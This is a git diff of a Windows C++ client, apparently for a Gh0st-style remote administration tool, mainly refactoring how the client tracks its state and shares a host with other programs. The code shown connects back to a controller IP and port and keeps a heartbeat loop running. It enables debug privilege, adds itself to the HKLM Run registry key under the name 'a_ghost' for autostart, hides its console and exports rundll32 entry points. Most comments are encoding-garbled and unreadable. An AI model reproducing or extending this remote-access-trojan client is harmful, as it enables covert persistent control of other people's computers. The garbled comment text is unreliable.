Merge pull request #81 from yuanyuanxiang/dev
share host with other programs, add commands and `HPSocket` #79 #80
This commit is contained in:
@@ -2,18 +2,7 @@
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "Common.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
#include <iosfwd>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
#include "ClientDll.h"
|
||||
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
#define REG_NAME "a_ghost"
|
||||
@@ -21,115 +10,49 @@
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ŀͻ<C4BF><CDBB>˸<EFBFBD><CBB8><EFBFBD>
|
||||
#define CLIENT_PARALLEL_NUM 1
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ࣺ<EFBFBD><E0A3BA>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>.
|
||||
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
||||
typedef struct ClientApp
|
||||
{
|
||||
BOOL g_bExit; // Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL g_bThreadExit; // <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||
HINSTANCE g_hInstance; // <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD>
|
||||
CONNECT_ADDRESS *g_Connection; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
HANDLE g_hEvent; // ȫ<><C8AB><EFBFBD>¼<EFBFBD>
|
||||
}ClientApp;
|
||||
|
||||
// Զ<>̵<EFBFBD>ַ
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL};
|
||||
|
||||
// Ӧ<EFBFBD>ó<EFBFBD><EFBFBD><EFBFBD>
|
||||
ClientApp g_MyApp = { FALSE, FALSE, NULL, &g_SETTINGS, NULL };
|
||||
// <20><><EFBFBD>տͻ<EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><EFBFBD>2<EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
||||
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
enum { E_RUN, E_STOP, E_EXIT } status;
|
||||
|
||||
#if _CONSOLE
|
||||
int ClientApp::m_nCount = 0;
|
||||
|
||||
enum { E_RUN, E_STOP } status;
|
||||
CLock ClientApp::m_Locker;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
|
||||
|
||||
if (hRet)
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
||||
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
BOOL IsProcessExit() {
|
||||
return g_MyApp.g_bExit == S_CLIENT_EXIT;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
||||
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
*/
|
||||
BOOL SetSelfStart(const char* sPath, const char* sNmae)
|
||||
{
|
||||
DebugPrivilege();
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||
|
||||
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
HKEY hKey = NULL;
|
||||
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||
if (lRet != ERROR_SUCCESS)
|
||||
return FALSE;
|
||||
|
||||
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||
|
||||
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||||
RegCloseKey(hKey);
|
||||
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||
return lRet == ERROR_SUCCESS;
|
||||
BOOL IsSharedRunning(void* thisApp) {
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
return (S_CLIENT_NORMAL == g_MyApp.g_bExit) && (S_CLIENT_NORMAL == This->g_bExit);
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
|
||||
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
|
||||
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
|
||||
// step2: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
|
||||
BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||
{
|
||||
g_MyApp.g_bExit = true;
|
||||
while (E_RUN == status)
|
||||
Sleep(20);
|
||||
}
|
||||
return TRUE;
|
||||
BOOL IsClientAppRunning(void* thisApp) {
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
return S_CLIENT_NORMAL == This->g_bExit;
|
||||
}
|
||||
|
||||
// <20>߳<EFBFBD>`StartClientApp`<60><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
||||
typedef struct ClientStartArg
|
||||
{
|
||||
int ID; // <20>̷߳<DFB3><CCB7>ش<EFBFBD><D8B4><EFBFBD>
|
||||
ClientApp App; // <20>ͻ<EFBFBD><CDBB>˶<EFBFBD><CBB6><EFBFBD>
|
||||
const char* IP; // Զ<><D4B6>IP
|
||||
int Port; // Զ<>̶˿<CCB6>
|
||||
}ClientStartArg;
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) {
|
||||
auto v = StringToVector(remoteAddr, ':', 2);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
return nullptr;
|
||||
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
||||
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
||||
return a;
|
||||
}
|
||||
|
||||
|
||||
DWORD StartClientApp(int id, ClientApp &app, const char *ip, int port) {
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
BOOL& bExit(app.g_bExit);
|
||||
DWORD WINAPI StartClientApp(LPVOID param) {
|
||||
ClientApp::AddCount(1);
|
||||
ClientApp* app = (ClientApp*)param;
|
||||
CONNECT_ADDRESS& settings(*(app->g_Connection));
|
||||
const char* ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
State& bExit(app->g_bExit);
|
||||
if (ip != NULL && port > 0)
|
||||
{
|
||||
settings.SetServer(ip, port);
|
||||
@@ -137,31 +60,28 @@ DWORD StartClientApp(int id, ClientApp &app, const char *ip, int port) {
|
||||
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||
Sleep(3000);
|
||||
return -1;
|
||||
} else {
|
||||
app->g_hInstance = GetModuleHandle(NULL);
|
||||
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
|
||||
|
||||
do {
|
||||
bExit = S_CLIENT_NORMAL;
|
||||
HANDLE hThread = CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
if (IsProcessExit()) // process exit
|
||||
break;
|
||||
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
||||
}
|
||||
app.g_hInstance = GetModuleHandle(NULL);
|
||||
Mprintf("[server: %d] %s:%d HINSTANCE: %p\n", id, settings.ServerIP(), settings.ServerPort(), app.g_hInstance);
|
||||
|
||||
do {
|
||||
bExit = 0;
|
||||
HANDLE hThread = CreateThread(NULL, 0, StartClient, &app, 0, NULL);
|
||||
auto r = app->m_ID;
|
||||
if (app != &g_MyApp) delete app;
|
||||
ClientApp::AddCount(-1);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
} while (E_RUN == status && 1 != bExit);
|
||||
|
||||
return id;
|
||||
}
|
||||
|
||||
|
||||
DWORD WINAPI StartClientApp(LPVOID param) {
|
||||
ClientStartArg* a = (ClientStartArg*)param;
|
||||
auto r = StartClientApp(a->ID, a->App, a->IP, a->Port);
|
||||
SAFE_DELETE(a);
|
||||
return r;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @brief <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ֳ<EFBFBD><D6B3><EFBFBD>MAXIMUM_WAIT_OBJECTS<54><53><EFBFBD>ƣ<EFBFBD>
|
||||
* @param handles <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -229,6 +149,79 @@ DWORD WaitForMultipleHandlesEx(
|
||||
}
|
||||
}
|
||||
|
||||
#if _CONSOLE
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
|
||||
|
||||
if (hRet)
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
||||
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
||||
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
*/
|
||||
BOOL SetSelfStart(const char* sPath, const char* sNmae)
|
||||
{
|
||||
DebugPrivilege();
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||
|
||||
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
HKEY hKey = NULL;
|
||||
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||
if (lRet != ERROR_SUCCESS)
|
||||
return FALSE;
|
||||
|
||||
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||
|
||||
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||||
RegCloseKey(hKey);
|
||||
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
|
||||
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
|
||||
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
|
||||
// step2: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
|
||||
BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||
{
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
while (E_RUN == status)
|
||||
Sleep(20);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
if (!SetSelfStart(argv[0], REG_NAME))
|
||||
@@ -248,14 +241,17 @@ int main(int argc, const char *argv[])
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
const char* ip = argc > 1 ? argv[1] : NULL;
|
||||
int port = argc > 2 ? atoi(argv[2]) : 0;
|
||||
g_MyApp.g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||
ClientApp& app(g_MyApp);
|
||||
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||
app.g_Connection->SetServer(ip, port);
|
||||
if (CLIENT_PARALLEL_NUM == 1) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
StartClientApp(0, g_MyApp, ip, port);
|
||||
StartClientApp(&app);
|
||||
} else {
|
||||
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
|
||||
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
|
||||
handles[i] = CreateThread(0, 64*1024, StartClientApp, new ClientStartArg{ i, g_MyApp, ip, port }, 0, 0);
|
||||
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
|
||||
handles[i] = CreateThread(0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
|
||||
if (handles[i] == 0) {
|
||||
Mprintf("<EFBFBD>߳<EFBFBD> %d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>: %d\n", i, errno);
|
||||
}
|
||||
@@ -265,7 +261,7 @@ int main(int argc, const char *argv[])
|
||||
Mprintf("WaitForMultipleObjects ʧ<>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
ClientApp::Wait();
|
||||
status = E_STOP;
|
||||
|
||||
CloseHandle(hMutex);
|
||||
@@ -298,7 +294,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
{
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
app.g_bExit = FALSE;
|
||||
app.g_bExit = S_CLIENT_NORMAL;
|
||||
if (strlen(szServerIP)>0 && uPort>0)
|
||||
{
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
@@ -317,7 +313,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
}
|
||||
|
||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
||||
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = true; }
|
||||
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; }
|
||||
@@ -334,11 +330,11 @@ extern "C" __declspec(dllexport) int EasyRun() {
|
||||
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
||||
while (!IsStoped())
|
||||
Sleep(50);
|
||||
if (1 == app.g_bExit) // <20>ܿض<DCBF><D8B6>˳<EFBFBD>
|
||||
if (S_CLIENT_EXIT == app.g_bExit) // <20>ܿض<DCBF><D8B6>˳<EFBFBD>
|
||||
break;
|
||||
else if (2 == app.g_bExit)
|
||||
else if (S_SERVER_EXIT == app.g_bExit)
|
||||
continue;
|
||||
else // 3: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
else // S_CLIENT_UPDATE: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
@@ -405,7 +401,7 @@ int nCmdShow:
|
||||
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
BOOL& bExit(app.g_bExit);
|
||||
State& bExit(app.g_bExit);
|
||||
char message[256] = { 0 };
|
||||
if (strlen(lpszCmdLine) != 0) {
|
||||
strcpy_s(message, lpszCmdLine);
|
||||
@@ -433,11 +429,11 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
|
||||
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||||
while (!IsStoped())
|
||||
Sleep(20);
|
||||
if (bExit == 1)
|
||||
if (bExit == S_CLIENT_EXIT)
|
||||
return;
|
||||
else if (bExit == 2)
|
||||
else if (bExit == S_SERVER_EXIT)
|
||||
continue;
|
||||
else // 3
|
||||
else // S_CLIENT_UPDATE
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
@@ -451,39 +447,42 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
BOOL& bExit(app.g_bExit);
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = new IOCPClient(bExit);
|
||||
CKernelManager* Manager = nullptr;
|
||||
|
||||
if (NULL == app.g_hEvent)
|
||||
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
|
||||
if (app.g_hEvent == NULL) {
|
||||
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
|
||||
if (!app.m_bShared) {
|
||||
if (NULL == app.g_hEvent) {
|
||||
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
|
||||
}
|
||||
if (app.g_hEvent == NULL) {
|
||||
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
app.g_bThreadExit = false;
|
||||
while (!bExit)
|
||||
while (app.m_bIsRunning(&app))
|
||||
{
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
|
||||
{
|
||||
for (int k = 500; !bExit && --k; Sleep(10));
|
||||
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
continue;
|
||||
}
|
||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings.ClientType());
|
||||
ClientObject->SendLoginInfo(login);
|
||||
|
||||
CKernelManager *Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
|
||||
SAFE_DELETE(Manager);
|
||||
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
|
||||
do
|
||||
{
|
||||
Manager->SendHeartbeat();
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && !bExit);
|
||||
while (GetTickCount64() - dwTickCount < 5000 && !bExit)
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
||||
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||||
Sleep(200);
|
||||
|
||||
delete Manager;
|
||||
}
|
||||
if (app.g_bExit == 1 && app.g_hEvent) {
|
||||
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
||||
BOOL b = SetEvent(app.g_hEvent);
|
||||
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
||||
|
||||
@@ -493,6 +492,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
|
||||
Mprintf("StartClient end\n");
|
||||
delete ClientObject;
|
||||
SAFE_DELETE(Manager);
|
||||
app.g_bThreadExit = true;
|
||||
|
||||
return 0;
|
||||
|
||||
73
client/ClientDll.h
Normal file
73
client/ClientDll.h
Normal file
@@ -0,0 +1,73 @@
|
||||
#pragma once
|
||||
|
||||
#include "Common.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
#include <iosfwd>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
|
||||
BOOL IsProcessExit();
|
||||
|
||||
typedef BOOL(*IsRunning)(void* thisApp);
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp);
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp);
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ࣺ<EFBFBD><E0A3BA>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>.
|
||||
typedef struct ClientApp
|
||||
{
|
||||
